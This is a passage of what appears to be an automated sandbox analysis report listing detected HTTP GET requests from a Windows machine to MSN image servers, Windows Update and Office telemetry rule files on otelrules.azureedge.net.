image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=31AC35F41F35674A28F120B11E576675; _EDGE_S=F=1&SID=39D93DE14BE469CC015128A44A3A6842; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO7.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=cF6eTsZ8X9Aeegc&MD=sWdb6FL8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
